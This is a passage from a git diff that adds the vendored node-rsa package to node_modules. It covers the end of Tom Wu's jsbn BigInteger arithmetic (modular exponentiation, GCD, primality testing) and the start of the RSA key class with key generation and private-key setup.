m^2) +// if y is 1/x mod m, then y(2-xy) is 1/x mod m^2 +// should reduce x and y(2-xy) by m^2 at each step to keep size bounded. +// JS multiply "overflows" differently from C/C++, so care is needed here. +function bnpInvDigit() { + if (this.t < 1) return 0; + var x = this[0]; + if ((x & 1) === 0) return 0; + var y = x & 3; // y == 1/x mod 2^2 + y = (y * (2 - (x & 0xf) * y)) & 0xf; // y == 1/x mod 2^4 + y = (y * (2 - (x & 0xff) * y)) & 0xff; // y == 1/x mod 2^8 + y = (y * (2 - (((x & 0xffff) * y) & 0xffff))) & 0xffff; // y == 1/x mod 2^16 + // last step - calculate inverse mod DV directly; + // assumes 16 < DB <= 32 and assumes ability to handle 48-bit ints + y = (y * (2 - x * y % this.DV)) % this.DV; // y == 1/x mod 2^dbits + // we really want the negative inverse, and -DV < y < DV + return (y > 0) ? this.DV - y : -y; +} + +// Montgomery reduction +function Montgomery(m) { + this.m = m; + this.mp = m.invDigit(); + this.mpl = this.mp & 0x7fff; + this.mph = this.mp >> 15; + this.um = (1 << (m.DB - 15)) - 1; + this.mt2 = 2 * m.t; +} + +// xR mod m +function montConvert(x) { + var r = nbi(); + x.abs().dlShiftTo(this.m.t, r); + r.divRemTo(this.m, null, r); + if (x.s < 0 && r.compareTo(BigInteger.ZERO) > 0) this.m.subTo(r, r); + return r; +} + +// x/R mod m +function montRevert(x) { + var r = nbi(); + x.copyTo(r); + this.reduce(r); + return r; +} + +// x = x/R mod m (HAC 14.32) +function montReduce(x) { + while (x.t <= this.mt2) // pad x so am has enough room later + x[x.t++] = 0; + for (var i = 0; i < this.m.t; ++i) { + // faster way of calculating u0 = x[i]*mp mod DV + var j = x[i] & 0x7fff; + var u0 = (j * this.mpl + (((j * this.mph + (x[i] >> 15) * this.mpl) & this.um) << 15)) & x.DM; + // use am to combine the multiply-shift-add into one call + j = i + this.m.t; + x[j] += this.m.am(0, u0, x, i, 0, this.m.t); + // propagate carry + while (x[j] >= x.DV) { + x[j] -= x.DV; + x[++j]++; + } + } + x.clamp(); + x.drShiftTo(this.m.t, x); + if (x.compareTo(this.m) >= 0) x.subTo(this.m, x); +} + +// r = "x^2/R mod m"; x != r +function montSqrTo(x, r) { + x.squareTo(r); + this.reduce(r); +} + +// r = "xy/R mod m"; x,y != r +function montMulTo(x, y, r) { + x.multiplyTo(y, r); + this.reduce(r); +} + +Montgomery.prototype.convert = montConvert; +Montgomery.prototype.revert = montRevert; +Montgomery.prototype.reduce = montReduce; +Montgomery.prototype.mulTo = montMulTo; +Montgomery.prototype.sqrTo = montSqrTo; + +// (protected) true iff this is even +function bnpIsEven() { + return ((this.t > 0) ? (this[0] & 1) : this.s) === 0; +} + +// (protected) this^e, e < 2^32, doing sqr and mul with "r" (HAC 14.79) +function bnpExp(e, z) { + if (e > 0xffffffff || e < 1) return BigInteger.ONE; + var r = nbi(), r2 = nbi(), g = z.convert(this), i = nbits(e) - 1; + g.copyTo(r); + while (--i >= 0) { + z.sqrTo(r, r2); + if ((e & (1 << i)) > 0) z.mulTo(r2, g, r); + else { + var t = r; + r = r2; + r2 = t; + } + } + return z.revert(r); +} + +// (public) this^e % m, 0 <= e < 2^32 +function bnModPowInt(e, m) { + var z; + if (e < 256 || m.isEven()) z = new Classic(m); else z = new Montgomery(m); + return this.exp(e, z); +} + +// Copyright (c) 2005-2009 Tom Wu +// All Rights Reserved. +// See "LICENSE" for details. + +// Extended JavaScript BN functions, required for RSA private ops. + +// Version 1.1: new BigInteger("0", 10) returns "proper" zero +// Version 1.2: square() API, isProbablePrime fix + +//(public) +function bnClone() { + var r = nbi(); + this.copyTo(r); + return r; +} + +//(public) return value as integer +function bnIntValue() { + if (this.s < 0) { + if (this.t == 1) return this[0] - this.DV; + else if (this.t === 0) return -1; + } + else if (this.t == 1) return this[0]; + else if (this.t === 0) return 0; +// assumes 16 < DB < 32 + return ((this[1] & ((1 << (32 - this.DB)) - 1)) << this.DB) | this[0]; +} + +//(public) return value as byte +function bnByteValue() { + return (this.t == 0) ? this.s : (this[0] << 24) >> 24; +} + +//(public) return value as short (assumes DB>=16) +function bnShortValue() { + return (this.t == 0) ? this.s : (this[0] << 16) >> 16; +} + +//(protected) return x s.t. r^x < DV +function bnpChunkSize(r) { + return Math.floor(Math.LN2 * this.DB / Math.log(r)); +} + +//(public) 0 if this === 0, 1 if this > 0 +function bnSigNum() { + if (this.s < 0) return -1; + else if (this.t <= 0 || (this.t == 1 && this[0] <= 0)) return 0; + else return 1; +} + +//(protected) convert to radix string +function bnpToRadix(b) { + if (b == null) b = 10; + if (this.signum() === 0 || b < 2 || b > 36) return "0"; + var cs = this.chunkSize(b); + var a = Math.pow(b, cs); + var d = nbv(a), y = nbi(), z = nbi(), r = ""; + this.divRemTo(d, y, z); + while (y.signum() > 0) { + r = (a + z.intValue()).toString(b).substr(1) + r; + y.divRemTo(d, y, z); + } + return z.intValue().toString(b) + r; +} + +//(protected) convert from radix string +function bnpFromRadix(s, b) { + this.fromInt(0); + if (b == null) b = 10; + var cs = this.chunkSize(b); + var d = Math.pow(b, cs), mi = false, j = 0, w = 0; + for (var i = 0; i < s.length; ++i) { + var x = intAt(s, i); + if (x < 0) { + if (s.charAt(i) == "-" && this.signum() === 0) mi = true; + continue; + } + w = b * w + x; + if (++j >= cs) { + this.dMultiply(d); + this.dAddOffset(w, 0); + j = 0; + w = 0; + } + } + if (j > 0) { + this.dMultiply(Math.pow(b, j)); + this.dAddOffset(w, 0); + } + if (mi) BigInteger.ZERO.subTo(this, this); +} + +//(protected) alternate constructor +function bnpFromNumber(a, b) { + if ("number" == typeof b) { + // new BigInteger(int,int,RNG) + if (a < 2) this.fromInt(1); + else { + this.fromNumber(a); + if (!this.testBit(a - 1)) // force MSB set + this.bitwiseTo(BigInteger.ONE.shiftLeft(a - 1), op_or, this); + if (this.isEven()) this.dAddOffset(1, 0); // force odd + while (!this.isProbablePrime(b)) { + this.dAddOffset(2, 0); + if (this.bitLength() > a) this.subTo(BigInteger.ONE.shiftLeft(a - 1), this); + } + } + } else { + // new BigInteger(int,RNG) + var x = crypt.randomBytes((a >> 3) + 1) + var t = a & 7; + + if (t > 0) + x[0] &= ((1 << t) - 1); + else + x[0] = 0; + + this.fromByteArray(x); + } +} + +//(public) convert to bigendian byte array +function bnToByteArray() { + var i = this.t, r = new Array(); + r[0] = this.s; + var p = this.DB - (i * this.DB) % 8, d, k = 0; + if (i-- > 0) { + if (p < this.DB && (d = this[i] >> p) != (this.s & this.DM) >> p) + r[k++] = d | (this.s << (this.DB - p)); + while (i >= 0) { + if (p < 8) { + d = (this[i] & ((1 << p) - 1)) << (8 - p); + d |= this[--i] >> (p += this.DB - 8); + } + else { + d = (this[i] >> (p -= 8)) & 0xff; + if (p <= 0) { + p += this.DB; + --i; + } + } + if ((d & 0x80) != 0) d |= -256; + if (k === 0 && (this.s & 0x80) != (d & 0x80)) ++k; + if (k > 0 || d != this.s) r[k++] = d; + } + } + return r; +} + +/** + * return Buffer object + * @param trim {boolean} slice buffer if first element == 0 + * @returns {Buffer} + */ +function bnToBuffer(trimOrSize) { + var res = Buffer.from(this.toByteArray()); + if (trimOrSize === true && res[0] === 0) { + res = res.slice(1); + } else if (_.isNumber(trimOrSize)) { + if (res.length > trimOrSize) { + for (var i = 0; i < res.length - trimOrSize; i++) { + if (res[i] !== 0) { + return null; + } + } + return res.slice(res.length - trimOrSize); + } else if (res.length < trimOrSize) { + var padded = Buffer.alloc(trimOrSize); + padded.fill(0, 0, trimOrSize - res.length); + res.copy(padded, trimOrSize - res.length); + return padded; + } + } + return res; +} + +function bnEquals(a) { + return (this.compareTo(a) == 0); +} +function bnMin(a) { + return (this.compareTo(a) < 0) ? this : a; +} +function bnMax(a) { + return (this.compareTo(a) > 0) ? this : a; +} + +//(protected) r = this op a (bitwise) +function bnpBitwiseTo(a, op, r) { + var i, f, m = Math.min(a.t, this.t); + for (i = 0; i < m; ++i) r[i] = op(this[i], a[i]); + if (a.t < this.t) { + f = a.s & this.DM; + for (i = m; i < this.t; ++i) r[i] = op(this[i], f); + r.t = this.t; + } + else { + f = this.s & this.DM; + for (i = m; i < a.t; ++i) r[i] = op(f, a[i]); + r.t = a.t; + } + r.s = op(this.s, a.s); + r.clamp(); +} + +//(public) this & a +function op_and(x, y) { + return x & y; +} +function bnAnd(a) { + var r = nbi(); + this.bitwiseTo(a, op_and, r); + return r; +} + +//(public) this | a +function op_or(x, y) { + return x | y; +} +function bnOr(a) { + var r = nbi(); + this.bitwiseTo(a, op_or, r); + return r; +} + +//(public) this ^ a +function op_xor(x, y) { + return x ^ y; +} +function bnXor(a) { + var r = nbi(); + this.bitwiseTo(a, op_xor, r); + return r; +} + +//(public) this & ~a +function op_andnot(x, y) { + return x & ~y; +} +function bnAndNot(a) { + var r = nbi(); + this.bitwiseTo(a, op_andnot, r); + return r; +} + +//(public) ~this +function bnNot() { + var r = nbi(); + for (var i = 0; i < this.t; ++i) r[i] = this.DM & ~this[i]; + r.t = this.t; + r.s = ~this.s; + return r; +} + +//(public) this << n +function bnShiftLeft(n) { + var r = nbi(); + if (n < 0) this.rShiftTo(-n, r); else this.lShiftTo(n, r); + return r; +} + +//(public) this >> n +function bnShiftRight(n) { + var r = nbi(); + if (n < 0) this.lShiftTo(-n, r); else this.rShiftTo(n, r); + return r; +} + +//return index of lowest 1-bit in x, x < 2^31 +function lbit(x) { + if (x === 0) return -1; + var r = 0; + if ((x & 0xffff) === 0) { + x >>= 16; + r += 16; + } + if ((x & 0xff) === 0) { + x >>= 8; + r += 8; + } + if ((x & 0xf) === 0) { + x >>= 4; + r += 4; + } + if ((x & 3) === 0) { + x >>= 2; + r += 2; + } + if ((x & 1) === 0) ++r; + return r; +} + +//(public) returns index of lowest 1-bit (or -1 if none) +function bnGetLowestSetBit() { + for (var i = 0; i < this.t; ++i) + if (this[i] != 0) return i * this.DB + lbit(this[i]); + if (this.s < 0) return this.t * this.DB; + return -1; +} + +//return number of 1 bits in x +function cbit(x) { + var r = 0; + while (x != 0) { + x &= x - 1; + ++r; + } + return r; +} + +//(public) return number of set bits +function bnBitCount() { + var r = 0, x = this.s & this.DM; + for (var i = 0; i < this.t; ++i) r += cbit(this[i] ^ x); + return r; +} + +//(public) true iff nth bit is set +function bnTestBit(n) { + var j = Math.floor(n / this.DB); + if (j >= this.t) return (this.s != 0); + return ((this[j] & (1 << (n % this.DB))) != 0); +} + +//(protected) this op (1<>= this.DB; + } + if (a.t < this.t) { + c += a.s; + while (i < this.t) { + c += this[i]; + r[i++] = c & this.DM; + c >>= this.DB; + } + c += this.s; + } + else { + c += this.s; + while (i < a.t) { + c += a[i]; + r[i++] = c & this.DM; + c >>= this.DB; + } + c += a.s; + } + r.s = (c < 0) ? -1 : 0; + if (c > 0) r[i++] = c; + else if (c < -1) r[i++] = this.DV + c; + r.t = i; + r.clamp(); +} + +//(public) this + a +function bnAdd(a) { + var r = nbi(); + this.addTo(a, r); + return r; +} + +//(public) this - a +function bnSubtract(a) { + var r = nbi(); + this.subTo(a, r); + return r; +} + +//(public) this * a +function bnMultiply(a) { + var r = nbi(); + this.multiplyTo(a, r); + return r; +} + +// (public) this^2 +function bnSquare() { + var r = nbi(); + this.squareTo(r); + return r; +} + +//(public) this / a +function bnDivide(a) { + var r = nbi(); + this.divRemTo(a, r, null); + return r; +} + +//(public) this % a +function bnRemainder(a) { + var r = nbi(); + this.divRemTo(a, null, r); + return r; +} + +//(public) [this/a,this%a] +function bnDivideAndRemainder(a) { + var q = nbi(), r = nbi(); + this.divRemTo(a, q, r); + return new Array(q, r); +} + +//(protected) this *= n, this >= 0, 1 < n < DV +function bnpDMultiply(n) { + this[this.t] = this.am(0, n - 1, this, 0, 0, this.t); + ++this.t; + this.clamp(); +} + +//(protected) this += n << w words, this >= 0 +function bnpDAddOffset(n, w) { + if (n === 0) return; + while (this.t <= w) this[this.t++] = 0; + this[w] += n; + while (this[w] >= this.DV) { + this[w] -= this.DV; + if (++w >= this.t) this[this.t++] = 0; + ++this[w]; + } +} + +//A "null" reducer +function NullExp() { +} +function nNop(x) { + return x; +} +function nMulTo(x, y, r) { + x.multiplyTo(y, r); +} +function nSqrTo(x, r) { + x.squareTo(r); +} + +NullExp.prototype.convert = nNop; +NullExp.prototype.revert = nNop; +NullExp.prototype.mulTo = nMulTo; +NullExp.prototype.sqrTo = nSqrTo; + +//(public) this^e +function bnPow(e) { + return this.exp(e, new NullExp()); +} + +//(protected) r = lower n words of "this * a", a.t <= n +//"this" should be the larger one if appropriate. +function bnpMultiplyLowerTo(a, n, r) { + var i = Math.min(this.t + a.t, n); + r.s = 0; // assumes a,this >= 0 + r.t = i; + while (i > 0) r[--i] = 0; + var j; + for (j = r.t - this.t; i < j; ++i) r[i + this.t] = this.am(0, a[i], r, i, 0, this.t); + for (j = Math.min(a.t, n); i < j; ++i) this.am(0, a[i], r, i, 0, n - i); + r.clamp(); +} + +//(protected) r = "this * a" without lower n words, n > 0 +//"this" should be the larger one if appropriate. +function bnpMultiplyUpperTo(a, n, r) { + --n; + var i = r.t = this.t + a.t - n; + r.s = 0; // assumes a,this >= 0 + while (--i >= 0) r[i] = 0; + for (i = Math.max(n - this.t, 0); i < a.t; ++i) + r[this.t + i - n] = this.am(n - i, a[i], r, 0, 0, this.t + i - n); + r.clamp(); + r.drShiftTo(1, r); +} + +//Barrett modular reduction +function Barrett(m) { +// setup Barrett + this.r2 = nbi(); + this.q3 = nbi(); + BigInteger.ONE.dlShiftTo(2 * m.t, this.r2); + this.mu = this.r2.divide(m); + this.m = m; +} + +function barrettConvert(x) { + if (x.s < 0 || x.t > 2 * this.m.t) return x.mod(this.m); + else if (x.compareTo(this.m) < 0) return x; + else { + var r = nbi(); + x.copyTo(r); + this.reduce(r); + return r; + } +} + +function barrettRevert(x) { + return x; +} + +//x = x mod m (HAC 14.42) +function barrettReduce(x) { + x.drShiftTo(this.m.t - 1, this.r2); + if (x.t > this.m.t + 1) { + x.t = this.m.t + 1; + x.clamp(); + } + this.mu.multiplyUpperTo(this.r2, this.m.t + 1, this.q3); + this.m.multiplyLowerTo(this.q3, this.m.t + 1, this.r2); + while (x.compareTo(this.r2) < 0) x.dAddOffset(1, this.m.t + 1); + x.subTo(this.r2, x); + while (x.compareTo(this.m) >= 0) x.subTo(this.m, x); +} + +//r = x^2 mod m; x != r +function barrettSqrTo(x, r) { + x.squareTo(r); + this.reduce(r); +} + +//r = x*y mod m; x,y != r +function barrettMulTo(x, y, r) { + x.multiplyTo(y, r); + this.reduce(r); +} + +Barrett.prototype.convert = barrettConvert; +Barrett.prototype.revert = barrettRevert; +Barrett.prototype.reduce = barrettReduce; +Barrett.prototype.mulTo = barrettMulTo; +Barrett.prototype.sqrTo = barrettSqrTo; + +//(public) this^e % m (HAC 14.85) +function bnModPow(e, m) { + var i = e.bitLength(), k, r = nbv(1), z; + if (i <= 0) return r; + else if (i < 18) k = 1; + else if (i < 48) k = 3; + else if (i < 144) k = 4; + else if (i < 768) k = 5; + else k = 6; + if (i < 8) + z = new Classic(m); + else if (m.isEven()) + z = new Barrett(m); + else + z = new Montgomery(m); + +// precomputation + var g = new Array(), n = 3, k1 = k - 1, km = (1 << k) - 1; + g[1] = z.convert(this); + if (k > 1) { + var g2 = nbi(); + z.sqrTo(g[1], g2); + while (n <= km) { + g[n] = nbi(); + z.mulTo(g2, g[n - 2], g[n]); + n += 2; + } + } + + var j = e.t - 1, w, is1 = true, r2 = nbi(), t; + i = nbits(e[j]) - 1; + while (j >= 0) { + if (i >= k1) w = (e[j] >> (i - k1)) & km; + else { + w = (e[j] & ((1 << (i + 1)) - 1)) << (k1 - i); + if (j > 0) w |= e[j - 1] >> (this.DB + i - k1); + } + + n = k; + while ((w & 1) === 0) { + w >>= 1; + --n; + } + if ((i -= n) < 0) { + i += this.DB; + --j; + } + if (is1) { // ret == 1, don't bother squaring or multiplying it + g[w].copyTo(r); + is1 = false; + } + else { + while (n > 1) { + z.sqrTo(r, r2); + z.sqrTo(r2, r); + n -= 2; + } + if (n > 0) z.sqrTo(r, r2); else { + t = r; + r = r2; + r2 = t; + } + z.mulTo(r2, g[w], r); + } + + while (j >= 0 && (e[j] & (1 << i)) === 0) { + z.sqrTo(r, r2); + t = r; + r = r2; + r2 = t; + if (--i < 0) { + i = this.DB - 1; + --j; + } + } + } + return z.revert(r); +} + +//(public) gcd(this,a) (HAC 14.54) +function bnGCD(a) { + var x = (this.s < 0) ? this.negate() : this.clone(); + var y = (a.s < 0) ? a.negate() : a.clone(); + if (x.compareTo(y) < 0) { + var t = x; + x = y; + y = t; + } + var i = x.getLowestSetBit(), g = y.getLowestSetBit(); + if (g < 0) return x; + if (i < g) g = i; + if (g > 0) { + x.rShiftTo(g, x); + y.rShiftTo(g, y); + } + while (x.signum() > 0) { + if ((i = x.getLowestSetBit()) > 0) x.rShiftTo(i, x); + if ((i = y.getLowestSetBit()) > 0) y.rShiftTo(i, y); + if (x.compareTo(y) >= 0) { + x.subTo(y, x); + x.rShiftTo(1, x); + } + else { + y.subTo(x, y); + y.rShiftTo(1, y); + } + } + if (g > 0) y.lShiftTo(g, y); + return y; +} + +//(protected) this % n, n < 2^26 +function bnpModInt(n) { + if (n <= 0) return 0; + var d = this.DV % n, r = (this.s < 0) ? n - 1 : 0; + if (this.t > 0) + if (d === 0) r = this[0] % n; + else for (var i = this.t - 1; i >= 0; --i) r = (d * r + this[i]) % n; + return r; +} + +//(public) 1/this % m (HAC 14.61) +function bnModInverse(m) { + var ac = m.isEven(); + if ((this.isEven() && ac) || m.signum() === 0) return BigInteger.ZERO; + var u = m.clone(), v = this.clone(); + var a = nbv(1), b = nbv(0), c = nbv(0), d = nbv(1); + while (u.signum() != 0) { + while (u.isEven()) { + u.rShiftTo(1, u); + if (ac) { + if (!a.isEven() || !b.isEven()) { + a.addTo(this, a); + b.subTo(m, b); + } + a.rShiftTo(1, a); + } + else if (!b.isEven()) b.subTo(m, b); + b.rShiftTo(1, b); + } + while (v.isEven()) { + v.rShiftTo(1, v); + if (ac) { + if (!c.isEven() || !d.isEven()) { + c.addTo(this, c); + d.subTo(m, d); + } + c.rShiftTo(1, c); + } + else if (!d.isEven()) d.subTo(m, d); + d.rShiftTo(1, d); + } + if (u.compareTo(v) >= 0) { + u.subTo(v, u); + if (ac) a.subTo(c, a); + b.subTo(d, b); + } + else { + v.subTo(u, v); + if (ac) c.subTo(a, c); + d.subTo(b, d); + } + } + if (v.compareTo(BigInteger.ONE) != 0) return BigInteger.ZERO; + if (d.compareTo(m) >= 0) return d.subtract(m); + if (d.signum() < 0) d.addTo(m, d); else return d; + if (d.signum() < 0) return d.add(m); else return d; +} + +var lowprimes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997]; +var lplim = (1 << 26) / lowprimes[lowprimes.length - 1]; + +//(public) test primality with certainty >= 1-.5^t +function bnIsProbablePrime(t) { + var i, x = this.abs(); + if (x.t == 1 && x[0] <= lowprimes[lowprimes.length - 1]) { + for (i = 0; i < lowprimes.length; ++i) + if (x[0] == lowprimes[i]) return true; + return false; + } + if (x.isEven()) return false; + i = 1; + while (i < lowprimes.length) { + var m = lowprimes[i], j = i + 1; + while (j < lowprimes.length && m < lplim) m *= lowprimes[j++]; + m = x.modInt(m); + while (i < j) if (m % lowprimes[i++] === 0) return false; + } + return x.millerRabin(t); +} + +//(protected) true if probably prime (HAC 4.24, Miller-Rabin) +function bnpMillerRabin(t) { + var n1 = this.subtract(BigInteger.ONE); + var k = n1.getLowestSetBit(); + if (k <= 0) return false; + var r = n1.shiftRight(k); + t = (t + 1) >> 1; + if (t > lowprimes.length) t = lowprimes.length; + var a = nbi(); + for (var i = 0; i < t; ++i) { + //Pick bases at random, instead of starting at 2 + a.fromInt(lowprimes[Math.floor(Math.random() * lowprimes.length)]); + var y = a.modPow(r, this); + if (y.compareTo(BigInteger.ONE) != 0 && y.compareTo(n1) != 0) { + var j = 1; + while (j++ < k && y.compareTo(n1) != 0) { + y = y.modPowInt(2, this); + if (y.compareTo(BigInteger.ONE) === 0) return false; + } + if (y.compareTo(n1) != 0) return false; + } + } + return true; +} + +// protected +BigInteger.prototype.copyTo = bnpCopyTo; +BigInteger.prototype.fromInt = bnpFromInt; +BigInteger.prototype.fromString = bnpFromString; +BigInteger.prototype.fromByteArray = bnpFromByteArray; +BigInteger.prototype.fromBuffer = bnpFromBuffer; +BigInteger.prototype.clamp = bnpClamp; +BigInteger.prototype.dlShiftTo = bnpDLShiftTo; +BigInteger.prototype.drShiftTo = bnpDRShiftTo; +BigInteger.prototype.lShiftTo = bnpLShiftTo; +BigInteger.prototype.rShiftTo = bnpRShiftTo; +BigInteger.prototype.subTo = bnpSubTo; +BigInteger.prototype.multiplyTo = bnpMultiplyTo; +BigInteger.prototype.squareTo = bnpSquareTo; +BigInteger.prototype.divRemTo = bnpDivRemTo; +BigInteger.prototype.invDigit = bnpInvDigit; +BigInteger.prototype.isEven = bnpIsEven; +BigInteger.prototype.exp = bnpExp; + +BigInteger.prototype.chunkSize = bnpChunkSize; +BigInteger.prototype.toRadix = bnpToRadix; +BigInteger.prototype.fromRadix = bnpFromRadix; +BigInteger.prototype.fromNumber = bnpFromNumber; +BigInteger.prototype.bitwiseTo = bnpBitwiseTo; +BigInteger.prototype.changeBit = bnpChangeBit; +BigInteger.prototype.addTo = bnpAddTo; +BigInteger.prototype.dMultiply = bnpDMultiply; +BigInteger.prototype.dAddOffset = bnpDAddOffset; +BigInteger.prototype.multiplyLowerTo = bnpMultiplyLowerTo; +BigInteger.prototype.multiplyUpperTo = bnpMultiplyUpperTo; +BigInteger.prototype.modInt = bnpModInt; +BigInteger.prototype.millerRabin = bnpMillerRabin; + + +// public +BigInteger.prototype.toString = bnToString; +BigInteger.prototype.negate = bnNegate; +BigInteger.prototype.abs = bnAbs; +BigInteger.prototype.compareTo = bnCompareTo; +BigInteger.prototype.bitLength = bnBitLength; +BigInteger.prototype.mod = bnMod; +BigInteger.prototype.modPowInt = bnModPowInt; + +BigInteger.prototype.clone = bnClone; +BigInteger.prototype.intValue = bnIntValue; +BigInteger.prototype.byteValue = bnByteValue; +BigInteger.prototype.shortValue = bnShortValue; +BigInteger.prototype.signum = bnSigNum; +BigInteger.prototype.toByteArray = bnToByteArray; +BigInteger.prototype.toBuffer = bnToBuffer; +BigInteger.prototype.equals = bnEquals; +BigInteger.prototype.min = bnMin; +BigInteger.prototype.max = bnMax; +BigInteger.prototype.and = bnAnd; +BigInteger.prototype.or = bnOr; +BigInteger.prototype.xor = bnXor; +BigInteger.prototype.andNot = bnAndNot; +BigInteger.prototype.not = bnNot; +BigInteger.prototype.shiftLeft = bnShiftLeft; +BigInteger.prototype.shiftRight = bnShiftRight; +BigInteger.prototype.getLowestSetBit = bnGetLowestSetBit; +BigInteger.prototype.bitCount = bnBitCount; +BigInteger.prototype.testBit = bnTestBit; +BigInteger.prototype.setBit = bnSetBit; +BigInteger.prototype.clearBit = bnClearBit; +BigInteger.prototype.flipBit = bnFlipBit; +BigInteger.prototype.add = bnAdd; +BigInteger.prototype.subtract = bnSubtract; +BigInteger.prototype.multiply = bnMultiply; +BigInteger.prototype.divide = bnDivide; +BigInteger.prototype.remainder = bnRemainder; +BigInteger.prototype.divideAndRemainder = bnDivideAndRemainder; +BigInteger.prototype.modPow = bnModPow; +BigInteger.prototype.modInverse = bnModInverse; +BigInteger.prototype.pow = bnPow; +BigInteger.prototype.gcd = bnGCD; +BigInteger.prototype.isProbablePrime = bnIsProbablePrime; +BigInteger.int2char = int2char; + +// "constants" +BigInteger.ZERO = nbv(0); +BigInteger.ONE = nbv(1); + +// JSBN-specific extension +BigInteger.prototype.square = bnSquare; + +//BigInteger interfaces not implemented in jsbn: + +//BigInteger(int signum, byte[] magnitude) +//double doubleValue() +//float floatValue() +//int hashCode() +//long longValue() +//static BigInteger valueOf(long val) + +module.exports = BigInteger; \ No newline at end of file diff --git a/node_modules/node-rsa/src/libs/rsa.js b/node_modules/node-rsa/src/libs/rsa.js new file mode 100644 index 00000000..6f47b9dd --- /dev/null +++ b/node_modules/node-rsa/src/libs/rsa.js @@ -0,0 +1,316 @@ +/* + * RSA Encryption / Decryption with PKCS1 v2 Padding. + * + * Copyright (c) 2003-2005 Tom Wu + * All Rights Reserved. + * + * Permission is hereby granted, free of charge, to any person obtaining + * a copy of this software and associated documentation files (the + * "Software"), to deal in the Software without restriction, including + * without limitation the rights to use, copy, modify, merge, publish, + * distribute, sublicense, and/or sell copies of the Software, and to + * permit persons to whom the Software is furnished to do so, subject to + * the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, + * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY + * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + * + * IN NO EVENT SHALL TOM WU BE LIABLE FOR ANY SPECIAL, INCIDENTAL, + * INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER + * RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER OR NOT ADVISED OF + * THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF LIABILITY, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + * + * In addition, the following condition applies: + * + * All redistributions must retain an intact copy of this copyright notice + * and disclaimer. + */ + +/* + * Node.js adaptation + * long message support implementation + * signing/verifying + * + * 2014 rzcoder + */ + +var _ = require('../utils')._; +var crypt = require('crypto'); +var BigInteger = require('./jsbn.js'); +var utils = require('../utils.js'); +var schemes = require('../schemes/schemes.js'); +var encryptEngines = require('../encryptEngines/encryptEngines.js'); + +exports.BigInteger = BigInteger; +module.exports.Key = (function () { + /** + * RSA key constructor + * + * n - modulus + * e - publicExponent + * d - privateExponent + * p - prime1 + * q - prime2 + * dmp1 - exponent1 -- d mod (p1) + * dmq1 - exponent2 -- d mod (q-1) + * coeff - coefficient -- (inverse of q) mod p + */ + function RSAKey() { + this.n = null; + this.e = 0; + this.d = null; + this.p = null; + this.q = null; + this.dmp1 = null; + this.dmq1 = null; + this.coeff = null; + } + + RSAKey.prototype.setOptions = function (options) { + var signingSchemeProvider = schemes[options.signingScheme]; + var encryptionSchemeProvider = schemes[options.encryptionScheme]; + + if (signingSchemeProvider === encryptionSchemeProvider) { + this.signingScheme = this.encryptionScheme = encryptionSchemeProvider.makeScheme(this, options); + } else { + this.encryptionScheme = encryptionSchemeProvider.makeScheme(this, options); + this.signingScheme = signingSchemeProvider.makeScheme(this, options); + } + + this.encryptEngine = encryptEngines.getEngine(this, options); + }; + + /** + * Generate a new random private key B bits long, using public expt E + * @param B + * @param E + */ + RSAKey.prototype.generate = function (B, E) { + var qs = B >> 1; + this.e = parseInt(E, 16); + var ee = new BigInteger(E, 16); + while (true) { + while (true) { + this.p = new BigInteger(B - qs, 1); + if (this.p.subtract(BigInteger.ONE).gcd(ee).compareTo(BigInteger.ONE) === 0 && this.p.isProbablePrime(10)) + break; + } + while (true) { + this.q = new BigInteger(qs, 1); + if (this.q.subtract(BigInteger.ONE).gcd(ee).compareTo(BigInteger.ONE) === 0 && this.q.isProbablePrime(10)) + break; + } + if (this.p.compareTo(this.q) <= 0) { + var t = this.p; + this.p = this.q; + this.q = t; + } + var p1 = this.p.subtract(BigInteger.ONE); + var q1 = this.q.subtract(BigInteger.ONE); + var phi = p1.multiply(q1); + if (phi.gcd(ee).compareTo(BigInteger.ONE) === 0) { + this.n = this.p.multiply(this.q); + if (this.n.bitLength() < B) { + continue; + } + this.d = ee.modInverse(phi); + this.dmp1 = this.d.mod(p1); + this.dmq1 = this.d.mod(q1); + this.coeff = this.q.modInverse(this.p); + break; + } + } + this.$$recalculateCache(); + }; + + /** + * Set the private key fields N, e, d and CRT params from buffers + * + * @param N + * @param E + * @param D + * @param P + * @param Q + * @param DP + * @param DQ + * @param C + */ + RSAKey.prototype.setPrivate = function (N, E, D, P, Q, DP, DQ, C) { + if (N && E && D && N.length > 0 && (_.isNumber(E) || E.length > 0) && D.length > 0) { + this.n = new BigInteger(N); + this.e = _.isNumber(E) ? E : utils.get32IntFromBuffer(E, 0); + this.d = new BigInteger(D); + + if (P && Q && DP && DQ && C) { + this.p = new BigInteger(P); + this.q = new BigInteger(Q); + this.dmp1 = new BigInteger(DP); + this.dmq1 = new BigInteger(DQ); + this.coeff = new BigInteger(C); + } else { + // TODO: re-calculate any missing CRT params + } + this.$$recalculateCache(); + } else { + throw Error("Invalid RSA private key"); + } + }; + + /** + * Set the public key fields N and e from hex strings + * @param N + * @param E + */ + RSAKey.prototype.setPublic = function (N, E) { 